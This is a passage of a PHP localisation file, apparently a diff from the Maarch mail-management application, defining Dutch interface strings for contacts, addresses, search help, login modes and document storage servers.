{ define('_OCCUPANCY', 'Nr. app verdieping trap');} -if (!defined('_ADDRESS_ADDED')) { define('_ADDRESS_ADDED', 'Adres toegevoegd');} -if (!defined('_ADD_ADDRESS')) { define('_ADD_ADDRESS', 'Een adres toevoegen');} -if (!defined('_EDIT_ADDRESS')) { define('_EDIT_ADDRESS', 'Het adres wijzigen');} -if (!defined('_ADDRESS_EDITED')) { define('_ADDRESS_EDITED', 'Adres gewijzigd');} -if (!defined('_DELETED_ADDRESS')) { define('_DELETED_ADDRESS', 'Adres verwijderd');} -if (!defined('_ADDRESS_DEL')) { define('_ADDRESS_DEL', 'Verwijderen van een adres');} -if (!defined('_WARNING_MESSAGE_DEL_CONTACT_ADDRESS')) { define('_WARNING_MESSAGE_DEL_CONTACT_ADDRESS', 'Waarschuwing: Het verwijderen van een adres leidt tot het opnieuw toewijzen van de brieven aan een nieuw adres.');} -if (!defined('_CONTACT_ADDRESS_REAFFECT')) { define('_CONTACT_ADDRESS_REAFFECT', 'Brieven opnieuw toewijzen');} -if (!defined('_NEW_ADDRESS')) { define('_NEW_ADDRESS', 'Nieuw adres');} -if (!defined('_CHOOSE_CONTACT_ADDRESS')) { define('_CHOOSE_CONTACT_ADDRESS', 'Kies een adres');} -if (!defined('_THE_CONTACT_ADDRESS')) { define('_THE_CONTACT_ADDRESS', 'Het adres van de contactpersoon');} -if (!defined('_CONTACT_ADDRESS')) { define('_CONTACT_ADDRESS', 'Contact adres');} -if (!defined('_USE')) { define('_USE', 'Gebruiken');} -if (!defined('_HELP_PRIVATE')) { define('_HELP_PRIVATE', '<i>De velden die gemarkeerd zijn met <span class=\blue_asterisk\>*</span> zijn verborgen in de contactfiche indien het adres vertrouwelijk is</i>');} -if (!defined('_SALUTATION')) { define('_SALUTATION', 'Beleefdheidsformule');} -if (!defined('_SALUTATION_HEADER')) { define('_SALUTATION_HEADER', 'Aan het begin van de brief');} -if (!defined('_SALUTATION_FOOTER')) { define('_SALUTATION_FOOTER', 'Aan het einde van de brief');} -if (!defined('_BACK_TO_RESULTS_LIST')) { define('_BACK_TO_RESULTS_LIST', 'Terug naar de resultatenlijst');} -if (!defined('_ADD_ADDRESS_TO_CONTACT')) { define('_ADD_ADDRESS_TO_CONTACT', 'Een nieuw adres aan een bestaand contact toevoegen');} -if (!defined('_ADD_ADDRESS_TO_CONTACT_DESC')) { define('_ADD_ADDRESS_TO_CONTACT_DESC', 'Dit deel wordt gebruikt om een adres aan een reeds bestaand contact toe te voegen.');} -if (!defined('_WHICH_CONTACT')) { define('_WHICH_CONTACT', 'Aan welk contact wil u een adres toevoegen?');} -if (!defined('_CHOOSE_THIS_CONTACT')) { define('_CHOOSE_THIS_CONTACT', 'Dit contact kiezen');} -if (!defined('_CHOOSE_A_CONTACT')) { define('_CHOOSE_A_CONTACT', 'Kies een contact');} -if (!defined('_CREATE_CONTACTS')) { define('_CREATE_CONTACTS', 'Alle contacten');} -if (!defined('_LINKED_CONTACT')) { define('_LINKED_CONTACT', 'Aan het contact verbonden');} -if (!defined('_COMMUNICATION_TYPE')) { define('_COMMUNICATION_TYPE', 'Communicatiemiddel');} -if (!defined('_COMMUNICATION_VALUE')) { define('_COMMUNICATION_VALUE', 'Waarde');} -if (!defined('_COMMUNICATION_ADDED')) { define('_COMMUNICATION_ADDED', 'Toegevoegde communicatie');} -if (!defined('_COMMUNICATION_MODIFIED')) { define('_COMMUNICATION_MODIFIED', 'Gewijzigde communicatie');} -if (!defined('_COMMUNICATION_DELETED')) { define('_COMMUNICATION_DELETED', 'Verwijderde communicatie');} -if (!defined('_CHOOSE_COMMUNICATION_TYPES')) { define('_CHOOSE_COMMUNICATION_TYPES', 'Kies het communicatiemiddel');} -if (!defined('_CONTACT_COMMUNICATION_DEFINE')) { define('_CONTACT_COMMUNICATION_DEFINE', 'Gedefinieerd communicatiemiddel');} -if (!defined('_NO_COLLECTION_ACCESS_FOR_THIS_USER')) { define('_NO_COLLECTION_ACCESS_FOR_THIS_USER', 'Geen toegang tot de documentenverzameling voor deze gebruiker');} -if (!defined('_CREATION_DATE')) { define('_CREATION_DATE', 'Aanmaakdatum');} -if (!defined('_MODIFICATION_DATE')) { define('_MODIFICATION_DATE', 'Datum wijziging');} -if (!defined('_NO_RESULTS')) { define('_NO_RESULTS', 'Geen resultaat');} -if (!defined('_FOUND_DOCS')) { define('_FOUND_DOCS', 'brieven gevonden');} -if (!defined('_MY_CONTACTS')) { define('_MY_CONTACTS', 'Contacten aanmaken vanuit indexering/kwalificering');} -if (!defined('_MY_CONTACTS_MENU')) { define('_MY_CONTACTS_MENU', 'Mijn contacten');} -if (!defined('_MAARCH_INFO')) { define('_MAARCH_INFO', 'Ons contacteren');} -if (!defined('_MY_COLLEAGUES')) { define('_MY_COLLEAGUES', 'Mijn collega’s');} -if (!defined('_DETAILLED_PROPERTIES')) { define('_DETAILLED_PROPERTIES', 'Gedetailleerde eigenschappen');} -if (!defined('_PROPERTIES')) { define('_PROPERTIES', 'Details');} -if (!defined('_VIEW_DOC_NUM')) { define('_VIEW_DOC_NUM', 'Weergave van brief nr.');} -if (!defined('_VIEW_DETAILS_NUM')) { define('_VIEW_DETAILS_NUM', 'Weergave van de gedetailleerde fiche van brief nr.');} -if (!defined('_TO')) { define('_TO', 'naar');} -if (!defined('_FILE_PROPERTIES')) { define('_FILE_PROPERTIES', 'Eigenschappen van het bestand');} -if (!defined('_FILE_DATA')) { define('_FILE_DATA', 'Informatie over het brief');} -if (!defined('_VIEW_DOC')) { define('_VIEW_DOC', 'Het brief bekijken');} -if (!defined('_DOWNLOAD_LOCAL_DOC_COPY')) { define('_DOWNLOAD_LOCAL_DOC_COPY', 'Een plaatselijke kopie downloaden');} -if (!defined('_VISUALIZE')) { define('_VISUALIZE', 'Weergeven');} -if (!defined('_TYPIST')) { define('_TYPIST', 'Operator');} -if (!defined('_LOT')) { define('_LOT', 'Set');} -if (!defined('_ARBOX')) { define('_ARBOX', 'Box');} -if (!defined('_ARBOXES')) { define('_ARBOXES', 'Boxes');} -if (!defined('_ARBATCHES')) { define('_ARBATCHES', 'Set');} -if (!defined('_CHOOSE_BOXES_SEARCH_TITLE')) { define('_CHOOSE_BOXES_SEARCH_TITLE', 'Selecteer de box(es) om de opzoeking in te perken');} -if (!defined('_PAGECOUNT')) { define('_PAGECOUNT', 'Aantal pagina’s');} -if (!defined('_ISPAPER')) { define('_ISPAPER', 'Papier');} -if (!defined('_SCANDATE')) { define('_SCANDATE', 'Digitaliseringsdatum');} -if (!defined('_SCANUSER')) { define('_SCANUSER', 'Gebruik van de scanner');} -if (!defined('_SCANLOCATION')) { define('_SCANLOCATION', 'Digitaliseringsplaats');} -if (!defined('_SCANWKSATION')) { define('_SCANWKSATION', 'Digitaliseringsstation');} -if (!defined('_SCANBATCH')) { define('_SCANBATCH', 'Digitaliseringsset');} -if (!defined('_SOURCE')) { define('_SOURCE', 'Bron');} -if (!defined('_DOCLANGUAGE')) { define('_DOCLANGUAGE', 'Documenttaal');} -if (!defined('_MAILDATE')) { define('_MAILDATE', 'Datum van de brief');} -if (!defined('_MD5')) { define('_MD5', 'Digitale afdruk');} -if (!defined('_WORK_BATCH')) { define('_WORK_BATCH', 'Ladingset');} -if (!defined('_DONE')) { define('_DONE', 'Uitgevoerde acties');} -if (!defined('_CLOSING_DATE')) { define('_CLOSING_DATE', 'Afsluitingsdatum');} -if (!defined('_FULLTEXT')) { define('_FULLTEXT', 'Volle tekst');} -if (!defined('_FULLTEXT_HELP')) { define('_FULLTEXT_HELP', 'Zoeken in de inhoud van de brieven');} -if (!defined('_FULLTEXT_ERROR')) { define('_FULLTEXT_ERROR', 'Ongeldige invoer voor het zoeken naar volle tekst Indien u het teken \*\ heeft gebruikt, moeten er minstens 3 tekens voor staan en geen tekens zoals :!+');} -if (!defined('_FILE_NOT_SEND')) { define('_FILE_NOT_SEND', 'Het bestand werd niet verzonden');} -if (!defined('_TRY_AGAIN')) { define('_TRY_AGAIN', 'Probeer opnieuw');} -if (!defined('_INDEX_UPDATED')) { define('_INDEX_UPDATED', 'Bijgewerkte index');} -if (!defined('_UPDATE_DOC_STATUS')) { define('_UPDATE_DOC_STATUS', 'Brief status is bijgewerkt');} -if (!defined('_DOCTYPE_MANDATORY')) { define('_DOCTYPE_MANDATORY', 'Het stuktype is verplicht');} -if (!defined('_CHECK_FORM_OK')) { define('_CHECK_FORM_OK', 'Controle formulier OK');} -if (!defined('_MISSING_FORMAT')) { define('_MISSING_FORMAT', 'Formaat ontbreekt');} -if (!defined('_ERROR_RES_ID')) { define('_ERROR_RES_ID', 'Probleem bij berekening van res_id');} -if (!defined('_NEW_DOC_ADDED')) { define('_NEW_DOC_ADDED', 'Nieuw brief bewaard');} -if (!defined('_STATUS_UPDATED')) { define('_STATUS_UPDATED', 'Bijgewerkt statuut');} -if (!defined('_QUICKLAUNCH')) { define('_QUICKLAUNCH', 'Sneltoetsen');} -if (!defined('_SHOW_DETAILS_DOC')) { define('_SHOW_DETAILS_DOC', 'De details van het document bekijken');} -if (!defined('_VIEW_DOC_FULL')) { define('_VIEW_DOC_FULL', 'Het document bekijken');} -if (!defined('_DETAILS_DOC_FULL')) { define('_DETAILS_DOC_FULL', 'De fiche van het document bekijken');} -if (!defined('_IDENTIFIER')) { define('_IDENTIFIER', 'Referentie');} -if (!defined('_CHRONO_NUMBER')) { define('_CHRONO_NUMBER', 'Chrononummer');} -if (!defined('_CHRONO_NUMBER_SHORT')) { define('_CHRONO_NUMBER_SHORT', 'chrono');} -if (!defined('_ATTACHMENT_TYPE')) { define('_ATTACHMENT_TYPE', 'Type bijlage');} -if (!defined('_NO_CHRONO_NUMBER_DEFINED')) { define('_NO_CHRONO_NUMBER_DEFINED', 'Het chrononummer is niet bepaald');} -if (!defined('_FOR_CONTACT_C')) { define('_FOR_CONTACT_C', 'Voor:');} -if (!defined('_TO_CONTACT_C')) { define('_TO_CONTACT_C', 'Van:');} -if (!defined('_CASE_NUMBER_ERROR')) { define('_CASE_NUMBER_ERROR', 'Het nummer van de zaak heeft het verkeerde formaat: Geheel getal verwacht');} -if (!defined('_NUMERO_GED')) { define('_NUMERO_GED', 'GED-nummer heeft het verkeerde formaat: Geheel getal verwacht');} -if (!defined('_APPS_COMMENT')) { define('_APPS_COMMENT', 'Maarch Applicatie');} -if (!defined('_CORE_COMMENT')) { define('_CORE_COMMENT', 'Kern van het Framework');} -if (!defined('_CLEAR_FORM')) { define('_CLEAR_FORM', 'Het formulier wissen');} -if (!defined('_NOT_ALLOWED')) { define('_NOT_ALLOWED', 'verboden');} -if (!defined('_CHOOSE_TITLE')) { define('_CHOOSE_TITLE', 'Kies een aanspreking');} -if (!defined('_INDEXING_STATUSES')) { define('_INDEXING_STATUSES', 'Indexeren naar de statussen');} -if (!defined('_UNCHANGED')) { define('_UNCHANGED', 'Ongewijzigd');} -if (!defined('_PARAM_AVAILABLE_STATUS_ON_GROUP_BASKETS')) { define('_PARAM_AVAILABLE_STATUS_ON_GROUP_BASKETS', 'Instelling van de indexeringsstatussen');} -if (!defined('_PROJECT')) { define('_PROJECT', 'Map');} -if (!defined('_MARKET')) { define('_MARKET', 'Submap');} -if (!defined('_DAYS')) { define('_DAYS', 'dagen');} -if (!defined('_LAST_DAY')) { define('_LAST_DAY', 'Laatste dag');} -if (!defined('_CONTACT_NAME')) { define('_CONTACT_NAME', 'Contact factuur');} -if (!defined('_AMOUNT')) { define('_AMOUNT', 'Factuurbedrag');} -if (!defined('_CUSTOMER')) { define('_CUSTOMER', 'Klant factuur');} -if (!defined('_PO_NUMBER')) { define('_PO_NUMBER', 'Bestelbon factuur');} -if (!defined('_INVOICE_NUMBER')) { define('_INVOICE_NUMBER', 'Factuurnummer');} -if (!defined('_HELP_GLOBAL_SEARCH')) { define('_HELP_GLOBAL_SEARCH', 'Zoeken op onderwerp, titel, beschrijving, inhoud van het document of op het GED-nummer');} -if (!defined('_HELP_FULLTEXT_SEARCH')) { define('_HELP_FULLTEXT_SEARCH', 'Hulp voor zoeken van volle tekst');} -if (!defined('_GLOBAL_SEARCH')) { define('_GLOBAL_SEARCH', 'Globale opzoeking');} -if (!defined('_TIPS_FULLTEXT')) { define('_TIPS_FULLTEXT', 'Opzoekingstips');} -if (!defined('_TIPS_KEYWORD1')) { define('_TIPS_KEYWORD1', 'Om een opzoeking met joker met meerdere tekens uit te voeren');} -if (!defined('_TIPS_KEYWORD2')) { define('_TIPS_KEYWORD2', 'Om een opzoeking op een groep woorden een zin uit te voeren');} -if (!defined('_TIPS_KEYWORD3')) { define('_TIPS_KEYWORD3', 'Om een opzoeking bij benadering uit te voeren');} -if (!defined('_HELP_FULLTEXT_SEARCH_EXEMPLE1')) { define('_HELP_FULLTEXT_SEARCH_EXEMPLE1', '<b>auto*</b> vindt autostrade en automobiel');} -if (!defined('_HELP_FULLTEXT_SEARCH_EXEMPLE2')) { define('_HELP_FULLTEXT_SEARCH_EXEMPLE2', '<B>nationale weg</b> vindt de volledige uitdrukking nationale weg <p> <b>Zonder aanhalingsteken</b> vindt de opzoeking documenten met de woorden <b>weg<BIG> en </BIG>nationale</b></p><p> Gebruik zeker geen liggend streepje! Om woorden met een liggend streepje te zoeken zoals e-mail, geeft u gewoon de woorden <b>e mail</b> in, gescheiden door een spatie.');} -if (!defined('_HELP_FULLTEXT_SEARCH_EXEMPLE3')) { define('_HELP_FULLTEXT_SEARCH_EXEMPLE3', 'snel~ vindt uw snel');} -if (!defined('_TIPS_FULLTEXT_TEXT')) { define('_TIPS_FULLTEXT_TEXT', 'Er kunnen ook getallen opgezocht worden');} -if (!defined('_CLOSE_MAIL')) { define('_CLOSE_MAIL', 'Een brief afsluiten');} -if (!defined('_CLOSE_MAIL_DESC')) { define('_CLOSE_MAIL_DESC', 'Om de afsluitingsdatum van een brief bij te werken (closing_date van tabel res_letterbox). ESSENTIEEL om uw documentworkflow af te sluiten.');} -if (!defined('_HELP_KEYWORD0')) { define('_HELP_KEYWORD0', 'Id van de verbonden gebruiker');} -if (!defined('_HELP_BY_CORE')) { define('_HELP_BY_CORE', 'Sleutelwoorden van Maarch Core');} -if (!defined('_FIRSTNAME_UPPERCASE')) { define('_FIRSTNAME_UPPERCASE', 'VOORNAAM');} -if (!defined('_TITLE_STATS_USER_LOG')) { define('_TITLE_STATS_USER_LOG', 'Toegang tot de applicatie');} -if (!defined('_DELETE_DOC')) { define('_DELETE_DOC', 'Dit brief verwijderen');} -if (!defined('_THIS_DOC')) { define('_THIS_DOC', 'dit brief');} -if (!defined('_MODIFY_DOC')) { define('_MODIFY_DOC', 'Informatie wijzigen');} -if (!defined('_BACK_TO_WELCOME')) { define('_BACK_TO_WELCOME', 'Terug naar homepage');} -if (!defined('_CLOSE_MAIL')) { define('_CLOSE_MAIL', 'Een brief afsluiten');} -if (!defined('_REF_ID')) { define('_REF_ID', 'Chrono nr.');} -if (!defined('_OWNER')) { define('_OWNER', 'Eigenaar');} -if (!defined('_OPT_INDEXES')) { define('_OPT_INDEXES', 'Bijkomende informatie');} -if (!defined('_NUM_BETWEEN')) { define('_NUM_BETWEEN', 'Begrepen tussen');} -if (!defined('_MUST_CORRECT_ERRORS')) { define('_MUST_CORRECT_ERRORS', 'U moet de volgende fouten verbeteren');} -if (!defined('_CLICK_HERE_TO_CORRECT')) { define('_CLICK_HERE_TO_CORRECT', 'Klik hier om deze te verbeteren');} -if (!defined('_FILETYPE')) { define('_FILETYPE', 'Bestandstype');} -if (!defined('_WARNING')) { define('_WARNING', 'Let op');} -if (!defined('_STRING')) { define('_STRING', 'Karakterreeks');} -if (!defined('_INTEGER')) { define('_INTEGER', 'Geheel');} -if (!defined('_FLOAT')) { define('_FLOAT', 'Zwevend');} -if (!defined('_ITEM_NOT_IN_LIST')) { define('_ITEM_NOT_IN_LIST', 'Element niet in de lijst van de toegelaten waarden');} -if (!defined('_PB_WITH_FINGERPRINT_OF_DOCUMENT')) { define('_PB_WITH_FINGERPRINT_OF_DOCUMENT', 'De initiële digitale afdruk van het document komt niet overeen met die van het document waarnaar verwezen wordt');} -if (!defined('_MISSING')) { define('_MISSING', 'ontbrekend(e)');} -if (!defined('_NATURE')) { define('_NATURE', 'Aard');} -if (!defined('_NO_DEFINED_TREES')) { define('_NO_DEFINED_TREES', 'Geen boom gedefinieerd');} -if (!defined('_IF_CHECKS_MANDATORY_MUST_CHECK_USE')) { define('_IF_CHECKS_MANDATORY_MUST_CHECK_USE', 'Indien u op een verplicht veld klikt, moet u het gebruikte vakje eveneens aanvinken');} -if (!defined('_SEARCH_DOC')) { define('_SEARCH_DOC', 'Een document opzoeken');} -if (!defined('_DOCSERVER_COPY_ERROR')) { define('_DOCSERVER_COPY_ERROR', 'Fout tijdens het kopiëren op de DocServer');} -if (!defined('_MAKE_NEW_SEARCH')) { define('_MAKE_NEW_SEARCH', 'Een nieuwe opzoeking uitvoeren');} -if (!defined('_NO_PAGE')) { define('_NO_PAGE', 'Geen pagina');} -if (!defined('_DB_CONNEXION_ERROR')) { define('_DB_CONNEXION_ERROR', 'Verbindingsfout met de database');} -if (!defined('_DATABASE_SERVER')) { define('_DATABASE_SERVER', 'Databaseserver');} -if (!defined('_DB_PORT')) { define('_DB_PORT', 'Poort');} -if (!defined('_DB_TYPE')) { define('_DB_TYPE', 'Type');} -if (!defined('_DB_USER')) { define('_DB_USER', 'Gebruiker');} -if (!defined('_DATABASE')) { define('_DATABASE', 'Database');} -if (!defined('_TREE_ROOT')) { define('_TREE_ROOT', 'Root');} -if (!defined('_MODE')) { define('_MODE', 'Modus');} -if (!defined('_TITLE_STATS_CHOICE_PERIOD')) { define('_TITLE_STATS_CHOICE_PERIOD', 'Voor een periode');} -if (!defined('_STANDARD_LOGIN')) { define('_STANDARD_LOGIN', 'Maarch authenticatie');} -if (!defined('_SERVICE_REST_LOGIN')) { define('_SERVICE_REST_LOGIN', 'Authenticatie via Webservice');} -if (!defined('_CAS_LOGIN')) { define('_CAS_LOGIN', 'CAS authenticatie');} -if (!defined('_ACTIVEX_LOGIN')) { define('_ACTIVEX_LOGIN', 'Ms Internet Explorer - ActiveX authenticatie ');} -if (!defined('_HOW_CAN_I_LOGIN')) { define('_HOW_CAN_I_LOGIN', 'Ik krijg geen verbinding...');} -if (!defined('_CONNECT')) { define('_CONNECT', 'Verbinding maken');} -if (!defined('_LOGIN_MODE')) { define('_LOGIN_MODE', 'Authenticatietype');} -if (!defined('_SSO_LOGIN')) { define('_SSO_LOGIN', 'Login via SSO');} -if (!defined('_LDAP')) { define('_LDAP', 'LDAP directory');} -if (!defined('_WHERE_CLAUSE_TARGET')) { define('_WHERE_CLAUSE_TARGET', 'Doel van de WHERE clause');} -if (!defined('_WHERE_TARGET')) { define('_WHERE_TARGET', 'Doel');} -if (!defined('_DOCS')) { define('_DOCS', 'Documenten');} -if (!defined('_GO_MANAGE_USER')) { define('_GO_MANAGE_USER', 'Wijzigen');} -if (!defined('_GO_MANAGE_DOCSERVER')) { define('_GO_MANAGE_DOCSERVER', 'Wijzigen');} -if (!defined('_TASKS')) { define('_TASKS', 'Beschikbare acties op de brieven');} -if (!defined('_PERIOD')) { define('_PERIOD', 'Periode');} -if (!defined('_COMMENTS_MANDATORY')) { define('_COMMENTS_MANDATORY', 'Verplichte beschrijving');} -if (!defined('_ADD_RECORD_LABEL')) { define('_ADD_RECORD_LABEL', 'Een document toevoegen');} -if (!defined('_DATA_MODIFICATION_LABEL')) { define('_DATA_MODIFICATION_LABEL', 'Wijzigen');} -if (!defined('_DELETE_RECORD_LABEL')) { define('_DELETE_RECORD_LABEL', 'Verwijderen');} -if (!defined('_VIEW_LOG_LABEL')) { define('_VIEW_LOG_LABEL', 'De logboeken bekijken');} -if (!defined('_PLUS')) { define('_PLUS', 'Meer');} -if (!defined('_MINUS')) { define('_MINUS', 'Minder');} -if (!defined('_MANAGE_DOCSERVERS')) { define('_MANAGE_DOCSERVERS', 'De opslagruimtes beheren');} -if (!defined('_MANAGE_DOCSERVERS_DESC')) { define('_MANAGE_DOCSERVERS_DESC', 'Opslagruimtes toevoegen, wijzigen, verwijderen');} -if (!defined('_MANAGE_DOCSERVERS_LOCATIONS')) { define('_MANAGE_DOCSERVERS_LOCATIONS', 'De opslagruimtes van documenten beheren');} -if (!defined('_MANAGE_DOCSERVERS_LOCATIONS_DESC')) { define('_MANAGE_DOCSERVERS_LOCATIONS_DESC', 'De opslagruimtes van documenten toevoegen, verwijderen, wijzigen');} -if (!defined('_MANAGE_DOCSERVER_TYPES')) { define('_MANAGE_DOCSERVER_TYPES', 'De opslagruimtetypes beheren');} -if (!defined('_MANAGE_DOCSERVER_TYPES_DESC')) { define('_MANAGE_DOCSERVER_TYPES_DESC', 'Opslagruimtes toevoegen, wijzigen, verwijderen');} -if (!defined('_DOCSERVER_ID')) { define('_DOCSERVER_ID', 'Gebruikersnaam docserver');} -if (!defined('_YOU_CANNOT_DELETE')) { define('_YOU_CANNOT_DELETE', 'Verwijderen onmogelijk');} -if (!defined('_UNKNOWN')) { define('_UNKNOWN', 'Onbekend');} -if (!defined('_UNKOWN')) { define('_UNKOWN', 'is onbekend');} -if (!defined('_YOU_CANNOT_DISABLE')) { define('_YOU_CANNOT_DISABLE', 'Opschorting onmogelijk');} -if (!defined('_DOCSERVER_TYPE_DISABLED')) { define('_DOCSERVER_TYPE_DISABLED', 'Type opslagruimte opgeschort');} -if (!defined('_SIZE_LIMIT_UNAPPROACHABLE')) { define('_SIZE_LIMIT_UNAPPROACHABLE', 'Limietgrootte onbereikbaar');} -if (!defined('_DOCSERVER_TYPE_ENABLED')) { define('_DOCSERVER_TYPE_ENABLED', 'Type opslagruimte actief');} -if (!defined('_SIZE_LIMIT_LESS_THAN_ACTUAL_SIZE')) { define('_SIZE_LIMIT_LESS_THAN_ACTUAL_SIZE', 'Limietgrootte lager dan huidige grootte');} -if (!defined('_THE_DOCSERVER_DOES_NOT_HAVE_THE_ADEQUATE_RIGHTS')) { define('_THE_DOCSERVER_DOES_NOT_HAVE_THE_ADEQUATE_RIGHTS', 'Deze opslagruimte heeft onvoldoende rechten...');} -if (!defined('_DOCSERVER_DISABLED')) { define('_DOCSERVER_DISABLED', 'Opslagruimte opgeschort');} -if (!defined('_DOCSERVER_ENABLED')) { define('_DOCSERVER_ENABLED', 'Opslagruimte actief');} -if (!defined('_ALREADY_EXISTS_FOR_THIS_TYPE_OF_DOCSERVER')) { define('_ALREADY_EXISTS_FOR_THIS_TYPE_OF_DOCSERVER', 'bestaat reeds voor dit type');} -if (!defined('_DOCSERVER_LOCATION_ENABLED')) { define('_DOCSERVER_LOCATION_ENABLED', 'Opslagplaats actief');} -if (!defined('_LINK_EXISTS')) { define('_LINK_EXISTS', 'Er bestaat een verbinding met een ander voorwerp');} -if (!defined('_DOCSERVER_TYPE_ID')) { define('_DOCSERVER_TYPE_ID', 'Gebruikersnaam van opslagruimtetype');} -if (!defined('_DOCSERVER_TYPE')) { define('_DOCSERVER_TYPE', 'Zonetype');} -if (!defined('_DOCSERVER_TYPES_LIST')) { define('_DOCSERVER_TYPES_LIST', 'Lijst van opslagruimtetypes');} -if (!defined('_ALL_DOCSERVER_TYPES')) { define('_ALL_DOCSERVER_TYPES', 'Alles weergeven');} -if (!defined('_DOCSERVER_TYPE_LABEL')) { define('_DOCSERVER_TYPE_LABEL', 'Label van opslagruimtetype');} -if (!defined('_DOCSERVER_TYPES')) { define('_DOCSERVER_TYPES', 'Opslagruimtetype(s)');} -if (!defined('_IS_CONTAINER')) { define('_IS_CONTAINER', 'Container');} -if (!defined('_IS_COMPRESSED')) { define('_IS_COMPRESSED', 'Gecomprimeerd');} -if (!defined('_IS_META')) { define('_IS_META', 'Bevat metagegevens');} -if (!defined('_IS_LOGGED')) { define('_IS_LOGGED', 'Bevat logboeken');} -if (!defined('_IS_SIGNED')) { define('_IS_SIGNED', 'Bevat een afdruk');} -if (!defined('_COMPRESS_MODE')) { define('_COMPRESS_MODE', 'Compressiewijze');} -if (!defined('_META_TEMPLATE')) { define('_META_TEMPLATE', 'Metagegevensmodel');} -if (!defined('_LOG_TEMPLATE')) { define('_LOG_TEMPLATE', 'Logboekmodel');} -if (!defined('_FINGERPRINT_MODE')) { define('_FINGERPRINT_MODE', 'Algoritme van de afdrukberekening');} -if (!defined('_CONTAINER_MAX_NUMBER')) { define('_CONTAINER_MAX_NUMBER', 'Maximumgrootte van de container');} -if (!defined('_DOCSERVER_TYPE_MODIFICATION')) { define('_DOCSERVER_TYPE_MODIFICATION', 'Aanpassing van opslagruimtetype');} -if (!defined('_DOCSERVER_TYPE_ADDITION')) { define('_DOCSERVER_TYPE_ADDITION', 'Een opslagruimtetype toevoegen');} -if (!defined('_DOCSERVER_TYPE_ADDED')) { define('_DOCSERVER_TYPE_ADDED', 'Opslagruimtetype toegevoegd');} -if (!defined('_DOCSERVER_TYPE_UPDATED')) { define('_DOCSERVER_TYPE_UPDATED', 'Opslagruimtetype bijgewerkt');} -if (!defined('_DOCSERVER_TYPE_DELETED')) { define('_DOCSERVER_TYPE_DELETED', 'Opslagruimtetype verwijderd');} -if (!defined('_NOT_CONTAINER')) { define('_NOT_CONTAINER', 'Geen container');} -if (!defined('_CONTAINER')) { define('_CONTAINER', 'Een container');} -if (!defined('_NOT_COMPRESSED')) { define('_NOT_COMPRESSED', 'Niet gecomprimeerd');} -if (!defined('_COMPRESSED')) { define('_COMPRESSED', 'Gecomprimeerd');} -if (!defined('_COMPRESSION_MODE')) { define('_COMPRESSION_MODE', 'Compressiewijze');} -if (!defined('_GZIP_COMPRESSION_MODE')) { define('_GZIP_COMPRESSION_MODE', 'Compressiewijze GZIP (tar.gz) enkel beschikbaar voor de raadpleging');} -if (!defined('_DOCSERVERS')) { define('_DOCSERVERS', 'Opslagruimte(s)');} -if (!defined('_DEVICE_LABEL')) { define('_DEVICE_LABEL', 'Label disposit');} -if (!defined('_SIZE_FORMAT')) { define('_SIZE_FORMAT', 'Formaat van de grootte');} -if (!defined('_SIZE_LIMIT')) { define('_SIZE_LIMIT', 'Maximumgrootte');} -if (!defined('_ACTUAL_SIZE')) { define('_ACTUAL_SIZE', 'Huidige grootte');} -if (!defined('_COLL_ID')) { define('_COLL_ID', 'Gebruikersnaam van de verzameling');} -if (!defined('_PATH_TEMPLATE')) { define('_PATH_TEMPLATE', 'Toegangspad');} -if (!defined('_ADR_PRIORITY')) { define('_ADR_PRIORITY', 'Sequentieprioriteit van de opslagruimte');} -if (!defined('_IS_READONLY')) { define('_IS_READONLY', 'Toegang in alleen-lezen formaat');} -if (!defined('_PERCENTAGE_FULL')) { define('_PERCENTAGE_FULL', 'Vulpercentage');} -if (!defined('_PATH_OF_DOCSERVER_UNAPPROACHABLE')) { define('_PATH_OF_DOCSERVER_UNAPPROACHABLE', 'Onbereikbaar pad');} -if (!defined('_ALL_DOCSERVERS')) { define('_ALL_DOCSERVERS', 'Alles weergeven');} -if (!defined('_DOCSERVER')) { define('_DOCSERVER', 'een docserver');} -if (!defined('_DOCSERVER_MODIFICATION')) { define('_DOCSERVER_MODIFICATION', 'Wijziging van opslagruimte');} -if (!defined('_DOCSERVER_ADDITION')) { define('_DOCSERVER_ADDITION', 'Een opslagruimte toevoegen');} -if (!defined('_DOCSERVER_UPDATED')) { define('_DOCSERVER_UPDATED', 'Opslagruimte bijgewerkt');} -if (!defined('_DOCSERVER_DELETED')) { define('_DOCSERVER_DELETED', 'Opslagruimte verwijderd');} -if (!defined('_DOCSERVER_ADDED')) { define('_DOCSERVER_ADDED', 'Opslagruimte toegevoegd');} -if (!defined('_DOCSERVERS_LIST')) { define('_DOCSERVERS_LIST', 'Lijst van opslagruimtes');} -if (!defined('_GB')) { define('_GB', 'Gigabyte');} -if (!defined('_TB')) { define('_TB', 'Terabyte');} -if (!defined('_MB')) { define('_MB', 'Megabyte');} -if (!defined('_SIZE_LIMIT_NUMBER')) { define('_SIZE_LIMIT_NUMBER', 'Limietgrootte');} -if (!defined('_DOCSERVER_ATTACHED_TO_RES_X')) { define('_DOCSERVER_ATTACHED_TO_RES_X', 'De documenten worden op deze opslagruimte opgeslagen');} -if (!defined('_DOCSERVER_LOCATION_ID')) { define('_DOCSERVER_LOCATION_ID', 'Gebruikersnaam van de opslagplaats');} -if (!defined('_DOCSERVER_LOCATIONS')) { define('_DOCSERVER_LOCATIONS', 'Opslagplaats(en)');} -if (!defined('_IPV4')) { define('_IPV4', 'Adres IPv4');} -if (!defined('_IPV6')) { define('_IPV6', 'Adres IPv6');} -if (!defined('_NET_DOMAIN')) { define('_NET_DOMAIN', 'Domein');} -if (!defined('_MASK')) { define('_MASK', 'Masker');} -if (!defined('_NET_LINK')) { define('_NET_LINK', 'URL van front-end');} -if (!defined('_DOCSERVER_LOCATION_ADDITION')) { define('_DOCSERVER_LOCATION_ADDITION', 'Een opslagplaats toevoegen');} -if (!defined('_DOCSERVER_LOCATION_MODIFICATION')) { define('_DOCSERVER_LOCATION_MODIFICATION', 'Wijziging van opslagplaats');} -if (!defined('_ALL_DOCSERVER_LOCATIONS')) { define('_ALL_DOCSERVER_LOCATIONS', 'Alles weergeven');} -if (!defined('_DOCSERVER_LOCATIONS_LIST')) { define('_DOCSERVER_LOCATIONS_LIST', 'Lijst van opslagplaatsen');} -if (!defined('_DOCSERVER_LOCATION')) { define('_DOCSERVER_LOCATION', 'een opslagplaats');} -if (!defined('_DOCSERVER_LOCATION_UPDATED')) { define('_DOCSERVER_LOCATION_UPDATED', 'Opslagplaats bijgewerkt');} -if (!defined('_DOCSERVER_LOCATION_ADDED')) { define('_DOCSERVER_LOCATION_ADDED', 'Opslagplaats toegevoegd');} -if (!defined('_DOCSERVER_LOCATION_DELETED')) { 